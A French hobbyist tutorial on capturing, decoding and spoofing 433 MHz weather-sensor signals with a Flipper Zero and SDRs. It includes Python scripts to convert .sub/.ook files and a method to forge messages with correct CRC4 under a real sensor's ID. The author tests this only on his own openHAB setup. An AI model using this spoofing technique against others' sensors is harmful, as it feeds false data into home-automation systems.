RAW_Data: -2074 507 -2080 509 -2060 507 -2034 527 -2090 501 -4134 513 -4110 539 -4096 509 -2112 525 -8162 513 -2109

Attention: Il se peut que le résultat du copier/coller via URH ne respecte pas les directives officielles dur format .sub, à savoir qu’une ligne RAW_Data doit obligatoirement commencer par un nombre positif. Ce qui n’est pas le cas sur notre exemple. Il suffit alors d’éditer manuellement ce fichier texte pour corriger l’erreur (cf. fichier RAW-20240325-145955-v03b.sub ci-dessous).

Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: RAW
RAW_Data: 531 -8036 547 -8214 493 -2044 513 -2038 501 -2068 503 -4134 523 -4098 525 -4164 513 -4122 515 -4108 507 -4112 513 -4154 515 -2068 513 -2066 491 -2078 511 -2082 521 -4116 491 -4132 523 -4126 491 -4166 503 -2080 511 -4112 521 -4094 511 -4186 491 -2048 543 -4100 517 -4132 513 -2084 521 -4118 489 -2080 511 -2052 513 -2098 507 -2058 503 -2066 489 -4132 523 -2072 513 -2068 513 -2062 505 -2044 513 -2098 505 -4122 505 -4124 519 -4144 481 -2134 507 -8188 513 -8142 547 -2034 505 -2056 513 -2054 513 -4120 505 -4124 513 -4154 521 -4128 499 -4134 491 -4136 501 -4156 511 -2068 523 -2042 515 -2054 513 -2100 511 -4118 523 -4088 541 -4116 505 -4156 523 -2036 509 -4150 509 -4096 511 -4186 491 -2078 511 -4100 517 -4128 513 -2088 523 -4092 537 -2046 515 -2064 521 -2068 515 -2068 513 -2032 531 -4114 525 -2070 513 -2062 509 -2062 519 -2054 501 -2116 483 -4142 513 -4116 513 -4124 513 -2104 507 -8192 513 -8162 519 -2050 513 -2034 515 -2064 507 -4126 515 -4114 515 -4156 503 -4110 529 -4226 525 -4120 521 -4158 515 -2050 513 -2064 483 -2074 521 -2076 505 -4126 519 -4132 513 -4102 519 -4162 515 -2032 515 -4126 531 -4094 517 -4158 517 -2076 509 -4126 509 -4120 507 -2076 543 -4098 517 -2046 513 -2070 521 -2068 515 -2072 513 -2040 521 -4128 509 -2096 509 -2062 515 -2038 501 -2076 501 -2108 519 -4120 491 -4128 521 -4118 487 -2122 527 -8170 521 -8162 527 -2040 513 -2036 501 -2074 505 -4130 519 -4098 531 -4160 515 -4120 515 -4110 507 -4116 513 -4154 517 -2074 513 -2038 523 -2044 527 -2072 517 -4148 493 -4130 519 -4116 487 -4164 543 -2048 511 -4116 505 -4126 513 -4152 521 -2044 515 -4110 515 -4130 515 -2092 523 -4124 491 -2048 543 -2044 511 -2096 511 -2068 479 -2076 503 -4130 513 -2098 511 -2064 479 -2084 507 -2044 513 -2102 503 -4122 517 -4136 513 -4102 519 -2114 521 -8172 519 -8140 537 -2048 513 -2038 519 -2068 495 -4124 503 -4140 521 -4144 513 -4112 503 -4126 515 -4116 531 -4134 529 -2040 543 -2034 519 -2044 537 -2082 513 -4100 539 -4122 521 -4116 481 -4162 523 -2068 521 -4114 505 -4130 499 -4158 513 -2064 505 -4124 515 -4106 515 -2112 489 -4132 523 -2040 511 -2070 487 -2124 507 -2040 527 -2042 511 -4122 515 -2100 503 -2076 509 -2034 515 -2076 523 -2074 501 -4130 521 -4098 529 -4126 489 -2120 539 -8160 525 -8162 523 -2038 513 -2036 501 -2078 501 -4128 519 -4100 529 -4286 511 -4098 517 -4132 515 -4106 517 -4164 521 -2036 513 -2070 513 -2036 527 -2080 519 -4112 515 -4124 517 -4140 513 -4158 511 -2042 523 -4116 489 -4124 529 -4162 513 -2038 529 -4110 507 -4126 517 -2078 527 -4112 543 -2048 511 -2032 515 -2108 521 -2044 513 -2060 511 -4118
RAW_Data: 523 -2074 507 -2080 509 -2060 507 -2034 527 -2090 501 -4134 513 -4110 539 -4096 509 -2112 525 -8162 513 -8109

Interprétation: (expliquée à ma manière…) Les valeurs sont indiquées en µs. On constate que les “pulses” sont toujours de l’ordre de 500 µs alors que les silences peuvent prendre 3 valeurs différentes (en valeur absolue): 2000 µs, 4000 µs ou 8000 µs. En fouillant sur Internet et en discutant avec mes collègues du département R&T j’en suis arrivé à cette conclusion:

  • un pulse suivi d’un silence court (environ 2000 µs) correspond à un 0
  • un pulse suivi d’un silence long (environ 4000 µs) correspond à un 1
  • finalement, un pulse suivi d’un silence très long (environ 8000 µs) correspond à une pause dans l’émission

Dans le cas présent, l’interprétation du signal reçu est quasi identique, qu’il s’agisse d’un fichier .sub (Flipper) ou d’un fichier .ook (rtl_433).

Décodage des informations

Que ce soit à l’aide d’un Flipper Zero (fichier .sub) ou d’un SDR tel que le HackRF One et du logiciel rtl_433 (fichier .ook) nous sommes donc maintenant capables de capturer les signaux émis par nos capteurs et d’en extraire une séquence de 0 et de 1 qu’il nous faut maintenant décoder.

Bon, un spécaliste de télécoms utiliserait directement URH pour faire ceci. Moi, en tant qu’informaticien, je vais plutôt faire ça de manière “algorithmique” 😀

Décodage manuel des 0 et des 1

Il s’agit de l’étape qui va nous permettre de comprendre ce qui se passe réellement “à l’intérieur du dispositif” (ex: outils de haut niveau mentionnés au début de ce post) pour transformer les bits du signal (qui sont d’ailleurs déjà le résultat d’une phase de démodulation d’un point de vue télécom) en données telles qu’un identifiant de capteur, un numéro de canal, une température, un taux d’humidité, etc.

Je vais d’abord créer un fichier CSV à partir des valeurs des lignes RAW_Data du fichier .sub. Chaque ligne du fichier .csv contiendra 2 valeurs séparées par un espace: 1 entier positif, 1 entier négatif. Exemple:

531 -8036
547 -8214
493 -2044
513 -2038
501 -2068
503 -4134
523 -4098
525 -4164
513 -4122
515 -4108
507 -4112
513 -4154
515 -2068
513 -2066
491 -2078
511 -2082
521 -4116
491 -4132
523 -4126
491 -4166
503 -2080
511 -4112
521 -4094
511 -4186
491 -2048
543 -4100
517 -4132
513 -2084
521 -4118
489 -2080
511 -2052
513 -2098
507 -2058
503 -2066
489 -4132
523 -2072
513 -2068
513 -2062
505 -2044
513 -2098
505 -4122
505 -4124
519 -4144
481 -2134
507 -8188
513 -8142
[...]

Je peux ainsi importer ce fichier .csv dans une feuille de calcul (ex: LibreOffice Calc) dans laquelle je vais ensuite ajouter une 3ème colonne avec une valeur calculée automatiquement:

  • si la valeur absolue de la 2nde colonne est environ 2000, alors 0
  • si la valeur absolue de la 2nde colonne est environ 4000, alors 1
  • sinon x

decode01
Transformation tone/silence → 0/1

Si je découpe ce résultat sur les x (aka les pauses), je retrouve mes 6 “motifs” identiques repérés avec URH: 000111111100001111011101101000001000001110 (soit 42 bits)

Interprétation manuelle des 0 et des 1

En recherchant sur Internet les spécifications techniques de mes capteurs température/humidité InoValley / Conrad / Kedsum on retrouve facilement le format des messages envoyés par ces protocoles. Exemple ici.

/*
 * Help: https://github.com/merbanan/rtl_433/blob/master/src/devices/kedsum.c
 * 
 * Kedsum temperature and humidity sensor (http://amzn.to/25IXeng).
 *
 * Frame structure:
 *     Byte:      0        1        2        3        4
 *     Nibble:    1   2    3   4    5   6    7   8    9   10
 *     Type:   00 IIIIIIII BBCC++++ ttttTTTT hhhhHHHH FFFFXXXX
 * 
 * - I: unique id. changes on powercycle
 * - B: Battery state 10 = Ok, 01 = weak, 00 = bad
 * - C: channel, 00 = ch1, 10=ch3
 * - + low temp nibble
 * - t: med temp nibble
 * - T: high temp nibble
 * - h: humidity low nibble
 * - H: humidity high nibble
 * - F: flags
 * - X: CRC-4 poly 0x3 init 0x0 xor last 4 bits
 */

Un “motif” commence par 00 suivi de 40 bits (5 octets), soit 42 bits au total.

En se basant sur cette strucuture on peut découper ainsi les 42 bits du message reçu:

00 | IIII IIII | BB | CC | ++++ tttt TTTT | hhhh HHHH | FFFF | XXXX
00 | 0111 1111 | 00 | 00 | 1111 0111 0110 | 1000 0010 | 0000 | 1110
  • I = 0111 1111 → id capteur = 0x7F
  • B = 00 → batterie = bad
  • C = 00 → canal = 1
  • T = 1111 0111 0110 → (reverse) 0x67F
    • temp_raw = 0x67F1663
    • temp = (temp_raw - 900) / 1076,3°F soit 24,6°C
  • H = 1000 0010 → (reverse) 0x28 soit 40%

Ce qui correspond aux informations que nous avions obtenues via le HackRF One / rtl_433 ou la passerelle RFLink qui étaient allumés lors de la capture du message avec l’application Read RAW du Flipper.

Remarque:

Pour le transcodage des fichiers .sub (ou .ook d’ailleurs) en séries de 0 et de 1, il pourrait être intéressant de passer par une étape intermédiaire au niveau de l’algorithme. Plutôt que de générer directement des 0, 1 ou x en fonction de la durée des silences (rappel: 2000 µs, 4000 µs ou 8000 µs), l’idée serait de générer un bit 0 ou 1 pour chaque “période”" (durée d’un bit). Par exemple, si on prend une durée de bit de 500 µs, la suite suivante:

531 -8036
547 -8214
493 -2044
513 -2038
501 -2068
503 -4134
523 -4098

sera transcodée en:

1 0000 0000
1 0000 0000
1 00
1 00
1 00
1 0000
1 0000

C’est-à-dire à chaque fois un 1 suivi de 2,4 ou 8 fois 0 selon la durée du silence. On reste alors “plus proche” du domaine des télécoms. Mais une étape supplémentaire serait ensuite nécessaire pour traduire les 100 en 0, les 10000 en 1 et les 100000000 en x et obtenir la séquence de bits finale… 😀

NB: Surtout que le séquencement des tones et des silences sur lequel nous nous sommes basés pour ces capteurs InoValley n’est sûrement pas universel…

Extraction automatique de la séquence de 0 et de 1

Une fois la démarche validée, passons maintenant à une extraction automatique de cette séquence de 0 et de 1 à partir du fichier .sub capturé sur le Flipper. Pour cela je me suis grandement inspiré du script Python bitstream-from-sub.py que j’avais trouvé sur Internet en cherchant comment traiter les fichiers .sub du Flipper. La version originale de ce script (“Python script to clean up and recover an OOK bitstream from a Flipper RAW .sub file”) est disponible ici:

Ma version est beaucoup plus "expéditive" et génère directement les <code>0</code> et les <code>1</code> (ou <code>x</code> ou <code>X</code>) en fonction de la durée des silences qui suivent les pulses (rappel: 2000 &micro;s, 4000 &micro;s ou 8000 &micro;s). Voici le code complet de mon script Python <a href="/files/tutorials/hackrf/2024/20240329-hackrf433_sensors_part01/python/subghz_sub_to_bytes.py"><code>subghz_sub_to_bytes.py</code></a>.
#!/usr/bin/env python

# Find the raw bitstring from a captured Flipper RAW .sub file.
# Must provide the bitlength in ms, and the allowable error which can be tolerated.
#
# This work is a fork of bitstream-from-sub.py found here:
#   - https://gist.github.com/Dissfall/5d45eb139c7055cb9fcebe4d149ef625
#   - https://gist.github.com/jinschoi/40a470e432c6ac244be8159145454b5c

import re
import sys
import math

filename = sys.argv[1]

bitlen = 1000
allowable_error = 200
minseg = bitlen - allowable_error

def normalize(seg):
    aseg = abs(seg)
    if aseg < minseg:
        return 'x'
    n = aseg // bitlen
    if (n == 2):
        return 0
    if (n == 4):
        return 1
    return 'X'

segs = []
with open(filename, 'r') as f:
    for line in f:
        m = re.match(r'RAW_Data:\s*([-0-9 ]+)\s*$', line)
        if m:
            segs.extend([normalize(int(seg)) for seg in m[1].strip().split(r' ')])

full = []
for seg in segs:
    if seg == 'x':
        '''Nop'''
    elif seg == 'X':
        full.append(seg)
    else:
        full.extend(str(seg))
full = ''.join(full)

print('Full bitstring:')
print(full)

def longest_repeated_contiguous_substring(s):
    return max(re.findall(r'(.+)\1', s), key=len)

lrs = longest_repeated_contiguous_substring(full)

def shortest_repeat(s):
    while m := re.fullmatch(r'(.+)\1', s):
        s = m[1]
    return s

print('Shortest repeating contiguous substring:')
print(shortest_repeat(lrs))

def first_sequence(s):
    tab = s.split('X')
    for seq in tab:
        if len(seq) > 0:
            return seq
    return '<empty>'

print('Bitstream:')
print(first_sequence(lrs))

decode02
Transformation fichier .sub → séquence 0/1

En exécutant ce script sur le fichier RAW-20240325-145955-v03b.sub utilisé précédemment on obtient bien comme résultat la séquence de bits que l’on avait identifiée manuellement: 000111111100001111011101101000001000001110.

Remarque:

Il pourrait être judicieux d’écrire un 2nd script Python qui prend cette séquence de bits et en extrait les informations selon le “protocole” utilisé/détecté: id du capteur, numéro du canal, température, taux d’humidité, etc.

⚠ Mais dans ce cas il faudrait prévoir d’implémenter les “protocoles” les plus courants, de la même façon d’ailleurs que le font RFLink, rtl_433 ou l’application Weather Station du Flipper.


Émission de messages

Rejeu d’un message enregistré

Il s’agit là d’une opération qui n’est pas bien difficile: on se contente de rejouer le message que l’on a préalablement enregistré, ou plus exactement de regénérer un signal équivalent à celui que l’on a capturé.

Flipper Zero

L’application Read RAW du Flipper propose cette fonctionnalité en natif pour rejouer les fichiers .sub capturés (cf. Sending RAW signals). Il suffit d’aller dans le menu Sub-GhzSaved<file.sub>Send

fz03a
Flipper Zero - Send RAW signal

Et voilà ! 😀

Construction d’un nouveau message

Bon, maintenant que nous avons compris les différentes étapes qui nous permettent, à partir d’une capture du signal avec le Flipper Zero (fichier .sub) de décoder les informations qu’il transmet (id capteur, température, etc.) ou tout du moins la séquences de bits transmise, intéressons nous au cheminement inverse, c’est-à-dire, à partir d’une séquence de bits où l’on aurait encodé (manuellement pour l’instant) des valeurs spécifiques (id capteur, température, etc.), comment il est possible de construire un fichier .sub que l’on pourra recopier sur le Flipper pour le lui faire émettre via son application Read RAW standard.

Avertissement:

Comme je vous l’ai indiqué dès le début de ce tutoriel, mes motivations ne sont que compréhension, expérimentation et partage. Du hacking dans le sens “honorable” du terme.

Dans le cadre de ces expérimentations, je vais forger des messages de toute pièce avec des informations volontairement fausses. Je vais parfois utiliser des identificateurs de capteurs non utilisés (pour ne pas impacter les systèmes existants), mais je vais aussi parfois usurper l’identité de capteurs existants pour faire vérifier que le récepteur (ex: ma plateforme domotique de test fonctionnant sous openHAB) est bien leurré par ces faux messages. Mais il s’agit de MES capteurs et de MON récepteur.

Avant toute opération, pensez à vérifier (ex: avec RFLink ou avec un SDR et rtl_433) qu’aucun capteur de vos voisins n’utilise les identifiants que vous voulez tester afin de ne pas lui mettre la pagaille ! Ceci pourrait légitimement être considéré comme étant du piratage !!!

En fouillant sur Internet j’ai trouvé un script Python capable de convertir un fichier .ook en fichier .sub pour le Flipper Zero: subghz_ook_to_sub.py (disponible ici grâce à Peter Shipley). Pour tester s’il correspaondait bien à mes attentes, je l’ai utilisé sur le fichier .ook que j’avais enregistré depuis rtl_433, puis j’ai joué le fichier .sub qu’il m’avait généré sur le Flipper → résultat ok 👍

Encodage des informations

La 1ère étape consiste à réaliser le travail inverse de l’étape “Interprétation manuelle des 0 et des 1: à partir des informations que l’on souhaite envoyer, construire la séquence de 0 et de 1 qu’un capteur transmettrait. Il nous faut pour cela choisir le “protocole” qui définira le type du capteur émulé. Dans notre cas nous utiliserons le même encodage que les capteurs InoValley.

Pour ces tests, nous allons procéder pas à pas:

  1. ré-encodage de “vraies” données
  2. changement de l’id du capteur
  3. changement de l’id du capteur + valeur humidité
  4. id d’un vrai capteur, mais avec de fausses données pour la température et l’humidité

Test 1 → ré-encodage de “vraies” données

L’application Weather Station du Flipper affiche également la séquence de bits reçue et décodée. C’est le champ data affiché en hexédécimal. Sur l’exemple ci-dessous: 0x200D56420F.

fz04a
Flipper Zero - Weather Station - Infos

Test 2 → changement de l’id du capteur

Dans la séquence précédente on ne change que l’id du capteur (99): 0x200D56420F0x990D56420F

Test 3 → changement de l’id du capteur + valeur humidité

Dans la séquence initiale on change l’id du capteur (AA) et le taux d’humidité (99%) → 00 10101010 00 00 111101110110 00110110 0000 1110

NB: Encodage de l’humidité:

  • hum = 99%0x63
  • (reverse) → 0x360011 0110

Test 4 → id d’un capteur existant mais fausse température et fausse humidité

Par rapport à la séquence initiale on garde cette fois l’id du capteur (20) mais on injecte une fausse valeur pour le taux d’humidité (99%) et pour la température (40°C) → 00 00100000 00 00 010010010111 00110110 0000 1111

NB: Pour la température inverse la procédure de décodage:

  • temp = 40°C = 104°F
  • temp_raw = (temp * 10) + 900 = 19400x794
  • (reverse) → 0x4970100 1001 0111

Conversion d’une séquence de 0 et de 1 en OOK

La 2nde étape a pour objectif de convertir cette suite de 0 et de 1 en fichier .ook. Pourquoi passer par le format OOK et ne pas générer directement le fichier .sub ? Dans le fichier .ook il est possible de définir certains paramètres tels que freq1, centerfreq, samplerate, etc. Je suis informaticien, et non un spécialiste des télécoms. J’essaye donc d’intervenir à un niveau d’abstraction le plus haut possible, et ne pas générer les signaux “manuellement”. Je préfère fixer quelques paramètres, générer des états hauts et des états bas, et laisser le soin de générer un “beau” signal à un convertissuer .ook.sub dédié (et éventuellement écrit par un spécialiste des télécoms).

La durée d’un “bit OOK” (bitlen) est fixée à 500 µs par défaut.

  • un 0 de notre séquence deviendra un “tone” de bitlen µs (500 µs) suivi d’un silence de bitlen*4 µs (2000 µs)
  • un 1 de notre séquence deviendra un “tone” de bitlen µs (500 µs) suivi d’un silence de bitlen*8 µs (4000 µs)
  • une pause (codée x) deviendra un “tone” de bitlen µs (500 µs) suivi d’un silence de bitlen*16 µs (8000 µs)

Il suffit donc de traduire ainsi les 0 et les 1, d’ajouter quelques pauses avant et quelques pauses après, puis de compléter avec l’entête de la trame OOK (copiée du fichier .ook enregistré par rtl_433 au début de ce tutoriel et dans laquelle on aura pris soin de remplacer le nombre de pulses: longueur de notre séquence + nombre de pauses). Ce “block OOK” est ensuite répété 6 fois (cf. les 6 “motifs” précédemment repérés sous URH; ce qui semble être un “standard”).

Voici le code complet de mon script Python <a href="/files/tutorials/hackrf/2024/20240329-hackrf433_sensors_part01/python/subghz_bytes_to_ook.py"><code>subghz_bytes_to_ook.py</code></a>. Le contenu `.ook` généré est affiché sur la sortie standard.
import argparse

# --------------------------------------------------

fileheader = """
;pulse data
;version 1
;timescale 1us
;created 2024-03-26 14:19:34+0100'
"""

seqheader = """
;ook {} pulses
;freq1 433945248
;centerfreq 433920000 Hz
;samplerate 250000 Hz
;sampledepth 8 bits
;range 42.1 dB
;rssi -0.1 dB
;snr 12.8 dB
;noise -12.9 dB
"""

seqfooter = """
;end
"""

# --------------------------------------------------

default_content = '000111111100001111011101101000001000001110'
nbrepeat    = 6
nbsyncstart = 10
nbsyncend   = 2
bitlen      = 500

content = default_content

# --------------------------------------------------
# --------------------------------------------------

def arg_opts():

    parser = argparse.ArgumentParser(add_help=True, allow_abbrev=True,  # noqa
                        description="Convert rtl_443 .ook format files into .sub format",  # noqa
                        formatter_class=argparse.RawDescriptionHelpFormatter
                        )
    
    parser.add_argument("-b", "--bin", metavar='binary-content', 
                        dest="bin_content", 
                        default=None, 
                        help="binary content")

    parser.add_argument("-x", "--he", metavar='hexadecimal-content', 
                        dest="hex_content", 
                        default=None, 
                        help="hexadecimal content")

    ar, gs = parser.parse_known_args()

    return ar, gs

# --------------------------------------------------

def print_bit(b):
    if b == '0':
        print(bitlen,bitlen*4)
    elif b == '1':
        print(bitlen, bitlen*8)
    else:
        print(bitlen, bitlen*16);

# --------------------------------------------------

def gen_ook(s, l, r):
    print(fileheader.strip())

    for i in range(nbrepeat):
        print(seqheader.format(len(content)+nbsyncstart+nbsyncend).strip())

        for j in range(nbsyncstart):
            print_bit('x')
        
        for c in content:
            print_bit(c)

        for j in range(nbsyncend):
            print_bit('x')

        print(seqfooter.strip())

# --------------------------------------------------
# --------------------------------------------------

def main():
    gen_ook(content, bitlen, nbrepeat)

if __name__ == '__main__':
    args, _extra = arg_opts()

    if args.bin_content:
        content = args.bin_content
    elif args.hex_content:
        content = bin(int(args.hex_content,16))[2:].zfill(len(args.hex_content)*4+2)

    main()

# --------------------------------------------------
# --------------------------------------------------

Remarque:

Au début, je m’étais contenté d’ajouter 2 pauses au début et 2 pauses à la fin de chaque bloc. Selon le récepteur utilisé, le message était parfois reçu et parfois non. En regardant le code source des programmes utilisés, et notamment le module relatif au “protocole” Kedsum-TH dans rtl_433 (cf. https://github.com/merbanan/rtl_433/blob/master/src/devices/kedsum.c), il y était indiqué en commentaire “the signal should start with 15 sync pulses (empty rows); require at least 5 received syncs”. J’étais manifestement “un peu court” avec mes 2 pauses au début. J’ai donc modifié le code avec 2 paramètres supplémentaires, nbsyncstart et nbsyncend, valant respectivement 10 et 2 par défaut.

Conversion du OOK en Flipper RAW Data

Pour obtenir le fichier .sub final j’utilise un script Python trouvé sur Internet: subghz_ook_to_sub.py (merci Peter Shipley).

Test 1 → ré-encodage de “vraies” données

python3 ./subghz_bytes_to_ook.py -x '200D56420F' > ./data/test001.ook
python3 ./subghz_ook_to_sub.py ./data/test001.ook

fichier test001.sub → id = 20, canal = 1, température = 22,7°C, humidité = 36%

Test 2 → changement de l’id du capteur

python3 ./subghz_bytes_to_ook.py -x '990D56420F' > ./data/test002.ook
python3 ./subghz_ook_to_sub.py ./data/test002.ook

fichier test002.sub → id = 99, canal = 1, température = 22,7°C, humidité = 36%

Test 3 → changement de l’id du capteur + valeur humidité

python3 ./subghz_bytes_to_ook.py -b '001010101000001111011101100011011000001110' > ./data/test003.ook
python3 ./subghz_ook_to_sub.py ./data/test003.ook

fichier test003.sub → id = AA, canal = 1, température = 22,7°C, humidité = 99%

Test 4 → id d’un capteur existant mais fausse température et fausse humidité

python3 ./subghz_bytes_to_ook.py -b '000010000000000100100101110011011000001111' > ./data/test004.ook
python3 ./subghz_ook_to_sub.py ./data/test004.ook

fichier test004.sub → id = 20, canal = 1, température = 40°C, humidité = 99%

Émission du message via le Flipper

La dernière étape consiste à recopier ces fichiers .sub sur le Flipper Zero et à utiliser l’application Read RAW pour les “jouer” (cf. rejeu d’un message enregistré).

Pour vérifier si cela fonctionne nous pouvons utiliser la passerelle RFLink, le HackRF One avec rtl_433 (NDLR: voir le paragraphe ci-après à propos du CRC) ou, si vous avez les moyens, un 2nd Flipper Zero.

Et si on se connecte à notre plateforme domotique openHAB (utilisant elle aussi une passerelle RFLink pour recevoir les données de ces capteurs 433 MHz), on constate qu’elle aussi a été leurrée ! Chef, il serait urgent d’installer une climatisation dans mon bureau… 😀

fz05b
openHAB - Spoofing du capteur 0x20 via le Flipper Zero
fz05c
openHAB - Spoofing du capteur 0x20 via le Flipper Zero

Ceci dit, ce mensonge n’est que de courte durée. Dès que le vrai capteur enverra de nouveau ses données, la plateforme domotique reviendra aux à la normale. Si on affiche l’historique de la température et de l’humidité on remarque bien les pics générés par mes expérimentations…

fz05c
openHAB - Spoofing du capteur 0x20 via le Flipper Zero

Et voilà ! 😀


Sécurité

Dans la section décodage des informations j’avais indiqué que la documentation trouvée quant à l’interprétation des bits (pour les messages des capteurs température/humidité InoValley / Conrad / Kedsum) mentionnait que les 4 derniers bits représentaient un CRC (Cyclic Redundancy Check). Pas vraiment une sécurité au sens signature électronique, mais uniquement un code de correction d’erreur pour détecter des bits inversés lors de la transmission du message.

CRC

Problème: Dlans la section précédente, lorsque nous avons construit la séquence de bits à la main pour forger des messages frauduleux, nous n’avons pas tenu compte de ce CRC. Peu importe ce que l’on y mettait, le message était reçu. Enfin… sur RFLink mais pas avec rtl_433 !

Pensant à un problème d’antenne sur le HackRF One (n’ayant pas de véritable antenne 433 MHz sous la main, j’utilisais un “bout de fil électrique” comme sur la passerelle RFLink 😇), j’ai alors utilisé un autre SDR: un Adalm-Pluto (livré avec ses antennes). Toujours avec le logiciel rtl_433.

rtl06a
Adalm-Pluto

Les messages “construits” n’étaient toujours pas reçus, alors que les messages envoyés par les “vrais” capteurs étaient bien décodés. En investigant un peu plus loin (ex: option -A (Pulse Analyser) pour rtl_433) je me suis aperçu que les signaux étaient bien reçus, que la séquence de bits était bien décodée, mais que rtl_433 échouait sur l’extraction des informations. Sur les 4 messages de test construit précédemment dans ce tutoriel, seul le 1er fonctionnait: celui où j’avais reconstruit un message à partir de la séquence de bits d’un “vrai” message. Serait-ce donc un problème de CRC ?

En regardant de nouveau le code source de rtl_4333, et notamment le module relatif au “protocole” Kedsum-TH dans rtl_433 (cf. https://github.com/merbanan/rtl_433/blob/master/src/devices/kedsum.c), on constate qu’effectivement ce module vérifie le CRC et, s’il n’est pas correct, considère que le décodage a échoué, ce qui a pour conséquence que rtl_433 n’affiche pas le résultat !

NB: Si on regarde le code source de l’application Weather Station du Flipper (code du module Kedsum-TH disponible ici) on constate qu’il ne vérifie pas non plus le CRC.

J’ai donc repris, dans le source de rtl_433 en langage C, le code qui calcule le CRC et je l’ai traduit en Python. Voici le bibliothèque bit_util.py avec les différentes fonctions de traitement sur les tableaux d’octets et le programme crc4.py qui calcule le CRC4 sur un tableau d’octets.

Reprenons maintenant notre exemple du test 4 vu précédemment. Pour encoder les informations id = 20, canal = 1, température = 40°C et humidité = 99% nous avions généré la séquence de bits suivante: 00 00100000 00 00 010010010111 00110110 0000 1111 (ou 20 04 97 36 0F en héxadécimal sans le 00 du début). Pour mémoire, les premiers 00 indiquent le début d’un message; dans le dernier octet, les 4 premiers bits (0000) représentent les flags et les 4 derniers (ici 1111) le CRC. Si on ne considère que les 4 octets “du milieu” qui correspondent finalement à “la charge utile” du message nous obtenons 00100000 00000100 10010111 00110110, c’est-à-dire 20 04 97 36 en héxadécimal.

On exécute la commande python3 ./crc4.py '20049736' qui nousretourne la valeur 0xC pour le CRC4. On injecte cette valeur du CRC dans notre séquence de bits et nous obtenons 20 04 97 36 0C. Nous pouvons maintenant générer le fichier .sub adéquat:

python3 ./subghz_bytes_to_ook.py -x `200497360C` > ./data/test004b.ook
python3 ./subghz_ook_to_sub.py ./data/test004b.ook

On le charge sur le Flipper Zero et on le lui fait émettre ce fichier .sub → Bingo ! Le message est bien reçu et décodé par rtl_433 😀 (et toujours par la passerelle RFLink également). Il s’agit de la ligne Kedsum-TH pour le capteur d’id 32 (valeur en décimal de 0x20) indiquant une température de 104,00°F (càd 40°C) et un taux d’humidité de 99% !

rtl06b
SDR + rtl_433 - Spoofing du capteur 0x20 via le Flipper Zero

Remarque: Comme on peut le constater sur cette capture d’écran, les lignes Conrad-S3318P correspondent aux messages reçus du vrai capteur; les lignes Kedsum-TH sont celles de nos faux messages. Pour aller plus loin il nous faudrait maintenant nous plonger en profondeur dans le code source de rtl_433 pour comprendre comment il détecte qu’un message doit être décodé avec tel ou tel “protocole”. On retrouve d’ailleurs les mêmes principes dans le code source de l’application Weather Station du Flipper. Et ce doit être à coup sûr la même chose pour le programme chargé sur l’Arduino de la passerelle RFLink.


Conclusion

Voilà un tuto un peu plus long que d’habitude. Et encore, je me suis bien gardé de rentrer dans les détails de la partie télécommunications ! Au final nous avons répondu à la question “Est-il possible, depuis un programme informatique, d’usurper l’identité d’un capteur et d’envoyer de fausses informations ?”. Et la réponse est OUI ! Et comme nous avons pu le voir, cela ne nécessite pas de matériel onéreux ni trop compliqué à utiliser 😀

Pour résumer, voici ce que l’on a fait:

  1. Flipper Zero: capture d’un signal 433 MHz d’un vrai capteur → fichier .sub
  2. script subghz_sub_to_bytes.py: fichier .sub → byte array (séquence de 0 et de 1)
  3. modification des informations encodées dans ce byte array
  4. script subghz_bytes_to_ook.py: byte array → fichier .ook
  5. script subghz_ook_to_sub.py: fichier .ook → fichier .sub
  6. Flipper Zero: émission du signal encodé dans le fichier .sub

📶 〰️ → ⏺️ capture sur le Flipper Zero → .sub000100...0100 → 🔄 spoofing000100...0110.ook.sub → ▶️ émission par le Flipper Zero → 📶 〰️

Au passage nous avons vu l’utilisation de différents outils: la passerelle RFLink, les SDR (HackRF One et Adalm-Pluto) avec le logiciel rtl_433, le Flipper Zero (avec les applications Sub-Ghz (Read RAW) et Weather Station), le logiciel Universal Radio Hacker (URH, un peu…).

Rappel: Ce ne sont que des expérimentations. Et ce tuto s’intitule justement “Hack RF 433MHz - premiers tests”. Donc tout n’est pas parfait; beaucoup de choses peuvent être (et le seront bientôt) améliorées. L’objectif de ce tuto était de démontrer la faisabilité du spoofing de capteurs RF 433 MHz.

Pour toutes remarques ou suggestions, n’hésitez surtout pas à me contacter sur manuel.munier@univ-pau.fr.